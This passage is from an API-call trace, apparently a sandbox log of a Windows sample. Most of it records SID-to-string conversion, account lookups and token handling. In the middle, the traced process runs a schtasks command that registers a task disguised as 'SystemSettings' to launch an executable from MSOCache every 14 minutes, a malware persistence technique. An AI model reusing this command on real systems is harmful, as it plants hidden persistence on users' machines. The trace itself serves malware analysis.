[3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc280ef0 [0132.549] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0132.549] malloc (_Size=0x18) returned 0x20abc281fe0 [0132.549] malloc (_Size=0x18) returned 0x20abc281e40 [0132.549] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0132.549] SysStringLen (param_1="-") returned 0x1 [0132.549] memcpy (in: _Dst=0x20abba635e8, _Src=0x20abba638b8, _Size=0x28 | out: _Dst=0x20abba635e8) returned 0x20abba635e8 [0132.549] memcpy (in: _Dst=0x20abba6360e, _Src=0x20abba6a718, _Size=0x4 | out: _Dst=0x20abba6360e) returned 0x20abba6360e [0132.549] free (_Block=0x20abc281be0) [0132.549] free (_Block=0x20abc281fe0) [0132.549] malloc (_Size=0x18) returned 0x20abc281ee0 [0132.549] malloc (_Size=0x18) returned 0x20abc281ba0 [0132.549] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0132.549] SysStringLen (param_1="3990802383") returned 0xa [0132.549] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba635e8, _Size=0x2a | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0132.549] memcpy (in: _Dst=0x20abba7b7a0, _Src=0x20abba6a718, _Size=0x16 | out: _Dst=0x20abba7b7a0) returned 0x20abba7b7a0 [0132.549] free (_Block=0x20abc281e40) [0132.549] free (_Block=0x20abc281ee0) [0132.549] GetSidSubAuthority (pSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc280ef4 [0132.549] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0132.550] malloc (_Size=0x18) returned 0x20abc281b40 [0132.550] malloc (_Size=0x18) returned 0x20abc282060 [0132.550] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0132.550] SysStringLen (param_1="-") returned 0x1 [0132.550] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x3e | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0132.550] memcpy (in: _Dst=0x20abba7a274, _Src=0x20abba6a718, _Size=0x4 | out: _Dst=0x20abba7a274) returned 0x20abba7a274 [0132.550] free (_Block=0x20abc281ba0) [0132.550] free (_Block=0x20abc281b40) [0132.550] malloc (_Size=0x18) returned 0x20abc2820e0 [0132.550] malloc (_Size=0x18) returned 0x20abc281a20 [0132.550] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0132.550] SysStringLen (param_1="1811730007") returned 0xa [0132.550] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x40 | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0132.550] memcpy (in: _Dst=0x20abba7b7b6, _Src=0x20abba6a718, _Size=0x16 | out: _Dst=0x20abba7b7b6) returned 0x20abba7b7b6 [0132.550] free (_Block=0x20abc282060) [0132.550] free (_Block=0x20abc2820e0) [0132.550] GetSidSubAuthority (pSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc280ef8 [0132.550] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0132.550] malloc (_Size=0x18) returned 0x20abc281e00 [0132.550] malloc (_Size=0x18) returned 0x20abc2820c0 [0132.550] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0132.550] SysStringLen (param_1="-") returned 0x1 [0132.550] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x54 | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0132.550] memcpy (in: _Dst=0x20abba7a28a, _Src=0x20abba6a718, _Size=0x4 | out: _Dst=0x20abba7a28a) returned 0x20abba7a28a [0132.551] free (_Block=0x20abc281a20) [0132.551] free (_Block=0x20abc281e00) [0132.551] malloc (_Size=0x18) returned 0x20abc281e00 [0132.551] malloc (_Size=0x18) returned 0x20abc281d60 [0132.551] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0132.551] SysStringLen (param_1="1000") returned 0x4 [0132.551] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x56 | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0132.551] memcpy (in: _Dst=0x20abba7b7cc, _Src=0x20abba6a718, _Size=0xa | out: _Dst=0x20abba7b7cc) returned 0x20abba7b7cc [0132.551] free (_Block=0x20abc2820c0) [0132.551] free (_Block=0x20abc281e00) [0132.551] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0132.551] malloc (_Size=0x5e) returned 0x20abc280290 [0132.551] free (_Block=0x20abc281d60) [0132.551] malloc (_Size=0x18) returned 0x20abc281e80 [0132.553] free (_Block=0x20abc280290) [0132.553] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 0 [0132.554] GetLastError () returned 0x7a [0132.554] malloc (_Size=0x1a) returned 0x20abc2a9d00 [0132.554] malloc (_Size=0xe) returned 0x20abc281f60 [0132.554] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2a9d00, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281f60, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 1 [0132.555] malloc (_Size=0x18) returned 0x20abc281d40 [0132.555] malloc (_Size=0x18) returned 0x20abc281cc0 [0132.555] free (_Block=0x20abc2a9d00) [0132.555] free (_Block=0x20abc281f60) [0132.556] free (_Block=0x20abc2aa000) [0132.556] free (_Block=0x20abc281cc0) [0132.556] free (_Block=0x20abc281d40) [0132.556] free (_Block=0x20abc281e80) [0132.557] free (_Block=0x20abc280ed0) [0132.557] GetVersionExW (in: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x2d, dwMinorVersion=0xbba85138, dwBuildNumber=0x20a, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0132.557] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0132.558] GetLastError () returned 0x7a [0132.558] malloc (_Size=0x2c) returned 0x20abc281210 [0132.558] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x20abc281210, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc281210, ReturnLength=0x2dc237c4b0) returned 1 [0132.558] IsValidSid (pSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0132.558] GetLengthSid (pSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0132.558] malloc (_Size=0x1c) returned 0x20abc2a9fd0 [0132.558] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2a9fd0, pSourceSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2a9fd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0132.558] GetSidIdentifierAuthority (pSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc281222 [0132.558] malloc (_Size=0x18) returned 0x20abc282060 [0132.558] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0132.558] malloc (_Size=0x18) returned 0x20abc281c60 [0132.558] malloc (_Size=0x18) returned 0x20abc282080 [0132.558] SysStringLen (param_1="S-1-") returned 0x4 [0132.558] SysStringLen (param_1="5") returned 0x1 [0132.558] memcpy (in: _Dst=0x20abba6ab08, _Src=0x20abba6a718, _Size=0xa | out: _Dst=0x20abba6ab08) returned 0x20abba6ab08 [0132.558] memcpy (in: _Dst=0x20abba6ab10, _Src=0x20abba6a868, _Size=0x4 | out: _Dst=0x20abba6ab10) returned 0x20abba6ab10 [0132.558] free (_Block=0x20abc282060) [0132.558] free (_Block=0x20abc281c60) [0132.558] GetSidSubAuthorityCount (pSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc281221 [0132.558] GetSidSubAuthority (pSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc281228 [0132.558] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0132.558] malloc (_Size=0x18) returned 0x20abc281b60 [0132.558] malloc (_Size=0x18) returned 0x20abc281b80 [0132.558] SysStringLen (param_1="S-1-5") returned 0x5 [0132.558] SysStringLen (param_1="-") returned 0x1 [0132.559] memcpy (in: _Dst=0x20abba6a868, _Src=0x20abba6ab08, _Size=0xc | out: _Dst=0x20abba6a868) returned 0x20abba6a868 [0132.559] memcpy (in: _Dst=0x20abba6a872, _Src=0x20abba6a718, _Size=0x4 | out: _Dst=0x20abba6a872) returned 0x20abba6a872 [0132.559] free (_Block=0x20abc282080) [0132.559] free (_Block=0x20abc281b60) [0132.559] malloc (_Size=0x18) returned 0x20abc281cc0 [0132.559] malloc (_Size=0x18) returned 0x20abc281c40 [0132.559] SysStringLen (param_1="S-1-5-") returned 0x6 [0132.559] SysStringLen (param_1="21") returned 0x2 [0132.559] memcpy (in: _Dst=0x20abba6a718, _Src=0x20abba6a868, _Size=0xe | out: _Dst=0x20abba6a718) returned 0x20abba6a718 [0132.559] memcpy (in: _Dst=0x20abba6a724, _Src=0x20abba6ab08, _Size=0x6 | out: _Dst=0x20abba6a724) returned 0x20abba6a724 [0132.559] free (_Block=0x20abc281b80) [0132.559] free (_Block=0x20abc281cc0) [0132.559] GetSidSubAuthority (pSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc28122c [0132.559] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0132.559] malloc (_Size=0x18) returned 0x20abc281a20 [0132.559] malloc (_Size=0x18) returned 0x20abc281aa0 [0132.559] SysStringLen (param_1="S-1-5-21") returned 0x8 [0132.559] SysStringLen (param_1="-") returned 0x1 [0132.559] memcpy (in: _Dst=0x20abba6ab08, _Src=0x20abba6a718, _Size=0x12 | out: _Dst=0x20abba6ab08) returned 0x20abba6ab08 [0132.559] memcpy (in: _Dst=0x20abba6ab18, _Src=0x20abba6a868, _Size=0x4 | out: _Dst=0x20abba6ab18) returned 0x20abba6ab18 [0132.559] free (_Block=0x20abc281c40) [0132.559] free (_Block=0x20abc281a20) [0132.559] malloc (_Size=0x18) returned 0x20abc281c00 [0132.559] malloc (_Size=0x18) returned 0x20abc281f00 [0132.560] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0132.560] SysStringLen (param_1="1560258661") returned 0xa [0132.560] memcpy (in: _Dst=0x20abba638b8, _Src=0x20abba6ab08, _Size=0x14 | out: _Dst=0x20abba638b8) returned 0x20abba638b8 [0132.560] memcpy (in: _Dst=0x20abba638ca, _Src=0x20abba6a718, _Size=0x16 | out: _Dst=0x20abba638ca) returned 0x20abba638ca [0132.560] free (_Block=0x20abc281aa0) [0132.560] free (_Block=0x20abc281c00) [0132.560] GetSidSubAuthority (pSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc281230 [0132.560] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0132.560] malloc (_Size=0x18) returned 0x20abc281e40 [0132.560] malloc (_Size=0x18) returned 0x20abc282040 [0132.560] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0132.560] SysStringLen (param_1="-") returned 0x1 [0132.560] memcpy (in: _Dst=0x20abba635e8, _Src=0x20abba638b8, _Size=0x28 | out: _Dst=0x20abba635e8) returned 0x20abba635e8 [0132.560] memcpy (in: _Dst=0x20abba6360e, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba6360e) returned 0x20abba6360e [0132.560] free (_Block=0x20abc281f00) [0132.560] free (_Block=0x20abc281e40) [0132.560] malloc (_Size=0x18) returned 0x20abc281d20 [0132.560] malloc (_Size=0x18) returned 0x20abc281d40 [0132.560] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0132.560] SysStringLen (param_1="3990802383") returned 0xa [0132.560] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba635e8, _Size=0x2a | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0132.560] memcpy (in: _Dst=0x20abba7a260, _Src=0x20abba6ab08, _Size=0x16 | out: _Dst=0x20abba7a260) returned 0x20abba7a260 [0132.560] free (_Block=0x20abc282040) [0132.560] free (_Block=0x20abc281d20) [0132.561] GetSidSubAuthority (pSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc281234 [0132.561] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0132.561] malloc (_Size=0x18) returned 0x20abc281960 [0132.561] malloc (_Size=0x18) returned 0x20abc281c00 [0132.561] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0132.561] SysStringLen (param_1="-") returned 0x1 [0132.561] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x3e | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0132.561] memcpy (in: _Dst=0x20abba7b7b4, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba7b7b4) returned 0x20abba7b7b4 [0132.561] free (_Block=0x20abc281d40) [0132.561] free (_Block=0x20abc281960) [0132.561] malloc (_Size=0x18) returned 0x20abc281960 [0132.561] malloc (_Size=0x18) returned 0x20abc281c40 [0132.561] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0132.561] SysStringLen (param_1="1811730007") returned 0xa [0132.561] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x40 | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0132.561] memcpy (in: _Dst=0x20abba7a276, _Src=0x20abba6ab08, _Size=0x16 | out: _Dst=0x20abba7a276) returned 0x20abba7a276 [0132.561] free (_Block=0x20abc281c00) [0132.561] free (_Block=0x20abc281960) [0132.561] GetSidSubAuthority (pSid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc281238 [0132.561] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0132.561] malloc (_Size=0x18) returned 0x20abc281bc0 [0132.561] malloc (_Size=0x18) returned 0x20abc281be0 [0132.561] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0132.562] SysStringLen (param_1="-") returned 0x1 [0132.562] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x54 | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0132.562] memcpy (in: _Dst=0x20abba7b7ca, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba7b7ca) returned 0x20abba7b7ca [0132.562] free (_Block=0x20abc281c40) [0132.562] free (_Block=0x20abc281bc0) [0132.562] malloc (_Size=0x18) returned 0x20abc281cc0 [0132.562] malloc (_Size=0x18) returned 0x20abc282080 [0132.562] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0132.562] SysStringLen (param_1="1000") returned 0x4 [0132.562] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x56 | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0132.562] memcpy (in: _Dst=0x20abba7a28c, _Src=0x20abba6ab08, _Size=0xa | out: _Dst=0x20abba7a28c) returned 0x20abba7a28c [0132.562] free (_Block=0x20abc281be0) [0132.562] free (_Block=0x20abc281cc0) [0132.562] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0132.562] malloc (_Size=0x5e) returned 0x20abc2803e0 [0132.562] free (_Block=0x20abc282080) [0132.562] malloc (_Size=0x18) returned 0x20abc2820c0 [0132.563] free (_Block=0x20abc2803e0) [0132.563] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 0 [0132.578] GetLastError () returned 0x7a [0132.578] malloc (_Size=0x1a) returned 0x20abc2a9f10 [0132.578] malloc (_Size=0xe) returned 0x20abc2819c0 [0132.578] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc281220*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2a9f10, cchName=0x2dc237c370, ReferencedDomainName=0x20abc2819c0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 1 [0132.579] malloc (_Size=0x18) returned 0x20abc281a20 [0132.579] malloc (_Size=0x18) returned 0x20abc281aa0 [0132.579] free (_Block=0x20abc2a9f10) [0132.579] free (_Block=0x20abc2819c0) [0132.579] free (_Block=0x20abc2a9fd0) [0132.579] free (_Block=0x20abc281aa0) [0132.579] free (_Block=0x20abc281a20) [0132.579] free (_Block=0x20abc2820c0) [0132.580] free (_Block=0x20abc281210) [0132.581] SetEvent (hEvent=0x248) returned 1 [0132.581] free (_Block=0x20abc285410) [0132.581] CreateEnvironmentBlock () returned 0x1 [0132.587] malloc (_Size=0x18) returned 0x20abc282080 [0132.587] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"SystemSettingsS\" /sc MINUTE /mo 14 /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x20abba86130, lpCurrentDirectory=0x0, lpStartupInfo=0x2dc237c5d0*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2dc237c478 | out: lpCommandLine="schtasks.exe /create /tn \"SystemSettingsS\" /sc MINUTE /mo 14 /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /f", lpProcessInformation=0x2dc237c478*(hProcess=0x260, hThread=0x264, dwProcessId=0x1344, dwThreadId=0x133c)) returned 1 [0132.596] CloseHandle (hObject=0x260) returned 1 [0132.596] CloseHandle (hObject=0x264) returned 1 [0132.597] free (_Block=0x20abc282080) [0132.597] DestroyEnvironmentBlock () returned 0x1 [0132.597] malloc (_Size=0x48) returned 0x20abc285af0 [0132.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc237c450 | out: lpSystemTimeAsFileTime=0x2dc237c450*(dwLowDateTime=0xacc4270, dwHighDateTime=0x1d9eb0c)) [0132.597] SetEvent (hEvent=0x248) returned 1 [0132.598] CloseHandle (hObject=0x270) returned 1 [0132.598] CloseHandle (hObject=0x26c) returned 1 [0132.602] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abba48260 [0132.602] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba48260, pulNumLanguages=0x2dc237dd50 | out: pulNumLanguages=0x2dc237dd50) returned 1 [0132.602] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0132.603] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48270) returned 1 [0133.814] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0133.814] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0133.814] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48260 [0133.814] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0133.814] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0133.815] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48270 [0133.815] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0133.815] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba666c0 [0133.815] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba666c0, pulNumLanguages=0x2dc237dc88 | out: pulNumLanguages=0x2dc237dc88) returned 1 [0133.815] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba666c0) returned 1 [0133.818] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0133.819] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.819] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0133.819] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.820] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0133.827] GetCurrentThread () returned 0xfffffffffffffffe [0133.827] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x2dc237c510 | out: TokenHandle=0x2dc237c510*=0x26c) returned 1 [0133.827] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x20a00000001, phNewToken=0x2dc237c528 | out: phNewToken=0x2dc237c528*=0x270) returned 1 [0133.827] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0133.827] GetLastError () returned 0x7a [0133.827] malloc (_Size=0x2c) returned 0x20abc281350 [0133.827] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x20abc281350, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc281350, ReturnLength=0x2dc237c4b0) returned 1 [0133.827] IsValidSid (pSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0133.828] GetLengthSid (pSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0133.828] malloc (_Size=0x1c) returned 0x20abc2a9c10 [0133.828] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2a9c10, pSourceSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2a9c10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0133.828] GetSidIdentifierAuthority (pSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc281362 [0133.828] malloc (_Size=0x18) returned 